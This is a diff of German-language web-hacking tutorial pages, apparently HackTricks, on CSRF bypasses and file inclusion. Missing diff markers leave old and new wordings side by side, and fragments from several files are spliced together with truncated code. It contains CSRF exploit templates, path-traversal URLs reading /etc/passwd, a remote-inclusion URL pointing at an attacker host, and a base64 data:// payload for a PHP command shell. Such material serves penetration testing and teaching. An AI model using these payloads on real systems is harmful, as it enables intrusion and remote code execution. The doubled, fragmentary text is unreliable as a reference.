<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -760,7 +760,7 @@ Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Serve
Engagiere dich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleibe auf dem Laufenden über die schnelllebige Welt des Hackens durch Echtzeitnachrichten und Einblicke
Bleibe auf dem Laufenden über die schnelllebige Hack-Welt durch Echtzeit-Nachrichten und Einblicke
**Neueste Ankündigungen**\
Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates

View file

@ -15,15 +15,15 @@ Lernen & üben Sie GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
**Hacking Einblicke**\
Engagieren Sie sich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen
Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleiben Sie auf dem Laufenden mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
@ -67,7 +67,7 @@ Das Verständnis und die Implementierung dieser Verteidigungen sind entscheidend
### Von POST zu GET
Vielleicht ist das Formular, das Sie ausnutzen möchten, darauf vorbereitet, eine **POST-Anfrage mit einem CSRF-Token zu senden, aber** Sie sollten **überprüfen**, ob auch eine **GET-Anfrage** **gültig** ist und ob bei der Sendung einer GET-Anfrage das **CSRF-Token weiterhin validiert wird**.
Vielleicht ist das Formular, das Sie ausnutzen möchten, darauf vorbereitet, eine **POST-Anfrage mit einem CSRF-Token zu senden**, aber Sie sollten **überprüfen**, ob auch eine **GET-Anfrage** **gültig** ist und ob bei der Sendung einer GET-Anfrage das **CSRF-Token weiterhin validiert wird**.
### Fehlendes Token
@ -87,7 +87,7 @@ Diese Sicherheitsanfälligkeit ermöglicht es Angreifern, unbefugte Anfragen im
### Methodenumgehung
Wenn die Anfrage eine "**seltsame**" **Methode** verwendet, überprüfen Sie, ob die **Methoden** **Überschreibungsfunktionalität** funktioniert. Wenn beispielsweise die **PUT**-Methode verwendet wird, können Sie versuchen, die **POST**-Methode zu verwenden und **zu senden**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Wenn die Anfrage eine "**seltsame**" **Methode** verwendet, überprüfen Sie, ob die **Methodenüberschreibungsfunktionalität** funktioniert. Wenn beispielsweise die **PUT**-Methode verwendet wird, können Sie versuchen, die **POST**-Methode zu verwenden und **zu senden**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Dies könnte auch funktionieren, indem Sie den **\_method-Parameter innerhalb einer POST-Anfrage** senden oder die **Header** verwenden:
@ -125,18 +125,18 @@ Hier ist ein Beispiel, wie ein Angriff strukturiert sein könnte:
```
{% hint style="info" %}
Beachten Sie, dass wenn der **csrf-Token mit dem Sitzungscookie verbunden ist, dieser Angriff nicht funktioniert**, da Sie die Sitzung des Opfers setzen müssen und Sie sich somit selbst angreifen.
Beachten Sie, dass wenn der **csrf-Token mit dem Sitzungscookie verbunden ist, dieser Angriff nicht funktionieren wird**, da Sie die Sitzung des Opfers setzen müssen, und daher würden Sie sich selbst angreifen.
{% endhint %}
### Content-Type-Änderung
Laut [**dieser**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) Quelle, um **Preflight**-Anfragen mit der **POST**-Methode zu vermeiden, sind die folgenden Content-Type-Werte erlaubt:
Laut [**dieser**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) Quelle sind die erlaubten Content-Type-Werte, um **Preflight**-Anfragen mit der **POST**-Methode zu vermeiden:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
* **`text/plain`**
Beachten Sie jedoch, dass die **Logik der Server variieren kann**, abhängig vom verwendeten **Content-Type**, daher sollten Sie die genannten Werte und andere wie **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Beachten Sie jedoch, dass die **Logik der Server variieren kann**, abhängig vom verwendeten **Content-Type**, daher sollten Sie die genannten Werte und andere wie **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ ausprobieren.
Beispiel (von [hier](https://brycec.me/posts/corctf\_2021\_challenges)) für das Senden von JSON-Daten als text/plain:
```html
@ -156,7 +156,7 @@ form.submit();
Beim Versuch, JSON-Daten über eine POST-Anfrage zu senden, ist es nicht direkt möglich, `Content-Type: application/json` in einem HTML-Formular zu verwenden. Ebenso initiiert die Nutzung von `XMLHttpRequest`, um diesen Inhaltstyp zu senden, eine Preflight-Anfrage. Dennoch gibt es Strategien, um diese Einschränkung möglicherweise zu umgehen und zu überprüfen, ob der Server die JSON-Daten unabhängig vom Content-Type verarbeitet:
1. **Verwendung alternativer Inhaltstypen**: Verwenden Sie `Content-Type: text/plain` oder `Content-Type: application/x-www-form-urlencoded`, indem Sie `enctype="text/plain"` im Formular festlegen. Dieser Ansatz testet, ob das Backend die Daten unabhängig vom Content-Type nutzt.
2. **Ändern des Inhaltstyps**: Um eine Preflight-Anfrage zu vermeiden und sicherzustellen, dass der Server den Inhalt als JSON erkennt, können Sie die Daten mit `Content-Type: text/plain; application/json` senden. Dies löst keine Preflight-Anfrage aus, könnte jedoch vom Server korrekt verarbeitet werden, wenn er so konfiguriert ist, `application/json` zu akzeptieren.
2. **Ändern des Inhaltstyps**: Um eine Preflight-Anfrage zu vermeiden und sicherzustellen, dass der Server den Inhalt als JSON erkennt, können Sie die Daten mit `Content-Type: text/plain; application/json` senden. Dies löst keine Preflight-Anfrage aus, könnte jedoch vom Server korrekt verarbeitet werden, wenn er so konfiguriert ist, dass er `application/json` akzeptiert.
3. **Nutzung von SWF Flash-Dateien**: Eine weniger gängige, aber machbare Methode besteht darin, eine SWF-Flash-Datei zu verwenden, um solche Einschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik siehe [diesen Beitrag](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Umgehung der Überprüfungen von Referrer / Origin
@ -196,15 +196,15 @@ document.forms[0].submit();
```
### **HEAD-Methode umgehen**
Im ersten Teil von [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wird erklärt, dass [Oaks Quellcode](https://github.com/oakserver/oak/blob/main/router.ts#L281), ein Router, **HEAD-Anfragen als GET-Anfragen ohne Antwortkörper behandelt** - ein gängiger Workaround, der nicht einzigartig für Oak ist. Anstelle eines spezifischen Handlers, der sich mit HEAD-Anfragen befasst, werden sie einfach **dem GET-Handler übergeben, aber die App entfernt einfach den Antwortkörper**.
Im ersten Teil von [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wird erklärt, dass [Oaks Quellcode](https://github.com/oakserver/oak/blob/main/router.ts#L281), ein Router, **HEAD-Anfragen als GET-Anfragen** ohne Antwortkörper behandelt - ein gängiger Workaround, der nicht einzigartig für Oak ist. Anstelle eines spezifischen Handlers, der sich mit HEAD-Anfragen befasst, werden sie einfach **dem GET-Handler übergeben, aber die App entfernt einfach den Antwortkörper**.
Daher, wenn eine GET-Anfrage eingeschränkt wird, könnten Sie einfach **eine HEAD-Anfrage senden, die als GET-Anfrage verarbeitet wird**.
Daher, wenn eine GET-Anfrage eingeschränkt wird, könntest du einfach **eine HEAD-Anfrage senden, die als GET-Anfrage verarbeitet wird**.
## **Exploit-Beispiele**
### **Exfiltrieren des CSRF-Tokens**
Wenn ein **CSRF-Token** als **Abwehr** verwendet wird, könnten Sie versuchen, es zu **exfiltrieren**, indem Sie eine [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)-Schwachstelle oder eine [**Dangling Markup**](dangling-markup-html-scriptless-injection/)-Schwachstelle ausnutzen.
Wenn ein **CSRF-Token** als **Abwehr** verwendet wird, könntest du versuchen, es zu **exfiltrieren**, indem du eine [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)-Schwachstelle oder eine [**Dangling Markup**](dangling-markup-html-scriptless-injection/)-Schwachstelle ausnutzt.
### **GET mit HTML-Tags**
```xml
@ -343,7 +343,7 @@ body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
### Form POST-Anfrage aus einem iframe heraus
### Formular-POST-Anfrage aus einem iframe heraus
```html
<--! expl.html -->
@ -476,7 +476,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTSteal CSRF-Token mit Ajax und sende ein Post mit einem Formular**
### **POSTStehlen Sie das CSRF-Token mit Ajax und senden Sie ein Post mit einem Formular**
```html
<body onload="getData()">
@ -584,15 +584,15 @@ login(USER, line.strip())
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
**Hacking Einblicke**\
Engagiere dich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleibe auf dem Laufenden über die schnelllebige Hack-Welt durch Echtzeit-Nachrichten und Einblicke
**Echtzeit Hack Nachrichten**\
Bleibe auf dem Laufenden über die schnelllebige Welt des Hackens durch Echtzeitnachrichten und Einblicke
**Neueste Ankündigungen**\
Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates

View file

@ -15,20 +15,20 @@ Lerne & übe GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
**Hacking Einblicke**\
Engagiere dich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen
Engagiere dich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit Hack Nachrichten**\
Bleibe auf dem Laufenden mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
Bleibe auf dem Laufenden mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke
**Neueste Ankündigungen**\
Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
**Tritt uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
**Tritt uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
## Dateiinclusion
@ -37,7 +37,7 @@ Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
Die Schwachstelle tritt auf, wenn der Benutzer auf irgendeine Weise die Datei kontrollieren kann, die vom Server geladen werden soll.
Anfällige **PHP-Funktionen**: require, require\_once, include, include\_once
Verwundbare **PHP-Funktionen**: require, require\_once, include, include\_once
Ein interessantes Tool, um diese Schwachstelle auszunutzen: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
@ -51,10 +51,10 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Versuchen Sie auch, `/` durch `\` zu ersetzen.\
Versuchen Sie auch, `../../../../../` hinzuzufügen.
Versuche auch, `/` durch `\` zu ersetzen.\
Versuche auch, `../../../../../` hinzuzufügen.
Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu überprüfen, ob die Schwachstelle existiert), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt).
Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu überprüfen, ob die Schwachstelle existiert), ist [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) zu finden.
### **Windows**
@ -62,14 +62,14 @@ Zusammenführung verschiedener Wortlisten:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Versuchen Sie auch, `/` durch `\` zu ersetzen.\
Versuchen Sie auch, `C:/` zu entfernen und `../../../../../` hinzuzufügen.
Versuche auch, `/` durch `\` zu ersetzen.\
Versuche auch, `C:/` zu entfernen und `../../../../../` hinzuzufügen.
Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu überprüfen, ob die Schwachstelle existiert), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt).
Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu überprüfen, ob die Schwachstelle existiert), ist [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) zu finden.
### **OS X**
Überprüfen Sie die LFI-Liste von Linux.
Überprüfe die LFI-Liste von Linux.
## Grundlegende LFI und Umgehungen
@ -83,7 +83,7 @@ http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
### **Null-Byte (%00)**
Umgehen Sie das Anhängen weiterer Zeichen am Ende der bereitgestellten Zeichenfolge (Umgehung von: $\_GET\['param']."php")
```
@ -108,9 +108,9 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Erkundung von Verzeichnissen im Dateisystem auf einem Server
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen der Existenz bestimmter Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen:
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen auf die Existenz bestimmter Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen:
1. **Bestimmen der Verzeichnistiefe:** Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei `/etc/passwd` abrufen (anwendbar, wenn der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein, was eine Tiefe von drei anzeigt:
1. **Bestimmen der Verzeichnistiefe:** Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei `/etc/passwd` abrufen (anwendbar, wenn der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein, was auf eine Tiefe von drei hinweist:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
@ -129,7 +129,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, sobald er durch die Sicherheitsmaßnahme verändert wird, weiterhin auf die gewünschte Datei verweist.
Path-Truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, sobald er durch die Sicherheitsmaßnahme verändert wird, weiterhin auf die gewünschte Datei verweist.
In PHP können verschiedene Darstellungen eines Dateipfades aufgrund der Natur des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:
@ -137,7 +137,7 @@ In PHP können verschiedene Darstellungen eines Dateipfades aufgrund der Natur d
* Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (was es zu `passwd/` macht) die Ziel-Datei nicht.
* Ebenso, wenn `.php` an einen Dateipfad angehängt wird (wie `shellcode.php`), wird das Hinzufügen eines `/.` am Ende die aufgerufene Datei nicht verändern.
Die bereitgestellten Beispiele zeigen, wie man Path Truncation nutzen kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
Die bereitgestellten Beispiele zeigen, wie man Path-Truncation nutzen kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -153,7 +153,7 @@ In diesen Szenarien könnte die Anzahl der benötigten Traversierungen etwa 2027
* **Bestimmung der erforderlichen Anzahl von Traversierungen**: Durch Ausprobieren kann man die genaue Anzahl der benötigten `../`-Sequenzen finden, um zum Stammverzeichnis und dann zu `/etc/passwd` zu navigieren, wobei sichergestellt wird, dass angehängte Zeichenfolgen (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt.
* **Beginn mit einem gefälschten Verzeichnis**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme oder zur Erfüllung der Anforderungen der Pfadverarbeitungslogik des Servers verwendet.
Bei der Anwendung von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
Bei der Anwendung von Techniken zur Pfadtrunkierung ist es entscheidend, das Pfadverhalten des Servers und die Dateisystemstruktur zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
**Diese Schwachstelle wurde in PHP 5.3 behoben.**
@ -172,7 +172,7 @@ In PHP ist dies standardmäßig deaktiviert, da **`allow_url_include`** **Aus**
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Wenn aus irgendeinem Grund **`allow_url_include`** **aktiviert** ist, aber PHP den Zugriff auf externe Webseiten **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), könntest du beispielsweise das Datenprotokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten:
Wenn aus irgendeinem Grund **`allow_url_include`** auf **On** gesetzt ist, aber PHP den Zugriff auf externe Webseiten **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), könntest du beispielsweise das Datenprotokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten:
{% code overflow="wrap" %}
```
@ -192,7 +192,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
```
{% endcode %}
## Python Wurzelelement
## Python Root-Element
In Python in einem Code wie diesem:
```python
@ -206,7 +206,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
```
Es ist das beabsichtigte Verhalten gemäß [den Dokumenten](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen erfolgt ab der absoluten Pfadkomponente.
> Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen erfolgt ab der Komponente des absoluten Pfads.
## Java Verzeichnisse auflisten
@ -262,7 +262,7 @@ PHP-Filter ermöglichen grundlegende **Modifikationsoperationen an den Daten**,
* `convert.iconv.*` : Transformiert in eine andere Kodierung (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Kodierungen** zu erhalten, führen Sie in der Konsole aus: `iconv -l`
{% hint style="warning" %}
Durch den Missbrauch des `convert.iconv.*` Konvertierungsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include willkürlichen Text zu verarbeiten. Für weitere Informationen siehe [**LFI2RCE über PHP-Filter**](lfi2rce-via-php-filters.md).
Durch den Missbrauch des `convert.iconv.*` Konvertierungsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include zu ermöglichen, die willkürlichen Text verarbeitet. Für weitere Informationen siehe [**LFI2RCE über PHP-Filter**](lfi2rce-via-php-filters.md).
{% endhint %}
* [Kompressionsfilter](https://www.php.net/manual/en/filters.compression.php)
@ -315,12 +315,12 @@ Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik,
* Verwenden Sie den Codec **`UCS-4LE`**, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell zu erhöhen.
* Dies wird verwendet, um einen **so großen Text zu generieren, wenn der Anfangsbuchstabe korrekt erraten wird**, dass php einen **Fehler** auslöst.
* Der **dechunk**-Filter wird **alles entfernen, wenn das erste Zeichen kein Hexadezimalzeichen ist**, sodass wir wissen können, ob das erste Zeichen hexadezimal ist.
* Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr zu einem hexadezimalen Zeichen zu machen. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen.
* Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe kein hexadezimales Zeichen mehr, daher hat dechunk es nicht gelöscht und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
* Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr als hexadezimales Zeichen zu betrachten. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen.
* Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe kein hexadezimales Zeichen mehr, daher wird dechunk es nicht löschen und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
* Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den hexadezimalen Bereich zu verschieben).
* Wenn das anfängliche Zeichen eine Zahl ist, muss es base64 codiert werden und die ersten 2 Buchstaben geleakt werden, um die Zahl zu exfiltrieren.
* Wenn das anfängliche Zeichen eine Zahl ist, muss es base64 codiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren.
* Das endgültige Problem besteht darin, **wie man mehr als den anfänglichen Buchstaben exfiltriert**. Durch die Verwendung von Ordnungsfilter wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten.
* Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es **mit den nächsten 2 Bytes zu pivotieren**, und die **Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
* Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es **mit den nächsten 2 Bytes zu pivotieren**, und **die Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
Im Beitrag wurde auch ein Tool zur automatischen Durchführung dieser Technik geleakt: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
@ -393,7 +393,7 @@ php --define phar.readonly=0 create_path.php
```
Bei der Ausführung wird eine Datei namens `test.phar` erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI) Schwachstellen verwendet werden könnte.
In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführen des PHP-Codes innerhalb von Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden.
In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführen des PHP-Codes innerhalb durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden.
Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsanfälligkeiten im Kontext von `.phar`-Dateien, siehe das unten verlinkte Dokument:
@ -405,9 +405,9 @@ Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsanfälli
### CVE-2024-2961
Es war möglich, **jede beliebige Datei, die von PHP unterstützt wird und php-Filter verwendet**, auszunutzen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Es war möglich, **jede beliebige Datei, die von PHP gelesen wird und php-Filter unterstützt**, auszunutzen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Sehr schnelle Zusammenfassung: ein **3-Byte-Überlauf** im PHP-Heap wurde ausgenutzt, um **die Kette freier Blöcke** einer bestimmten Größe zu **ändern, um in jede Adresse schreiben zu können**, sodass ein Hook hinzugefügt wurde, um **`system`** aufzurufen.\
Es war möglich, Blöcke spezifischer Größen auszuwählen, indem mehr PHP-Filter ausgenutzt wurden.
Es war möglich, Blöcke spezifischer Größen auszuwählen, indem mehr PHP-Filter missbraucht wurden.
### Weitere Protokolle
@ -440,7 +440,7 @@ Ebenso könnte man zur Ausführung beliebiger Systembefehle Folgendes verwenden:
```
Es ist wichtig, diese **Payloads URL-zu kodieren**.
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -458,14 +458,14 @@ Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Up
## PHP Blind Path Traversal
{% hint style="warning" %}
Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion** **steuern**, die auf eine **Datei** zugreift, aber Sie den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**), aber der Inhalt wird nicht angezeigt.
Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion** **steuern**, die **auf eine Datei zugreift**, aber Sie den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**), aber der Inhalt wird nicht angezeigt.
{% endhint %}
In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfad-Traversal über PHP-Filter missbraucht werden kann, um den **Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren**.
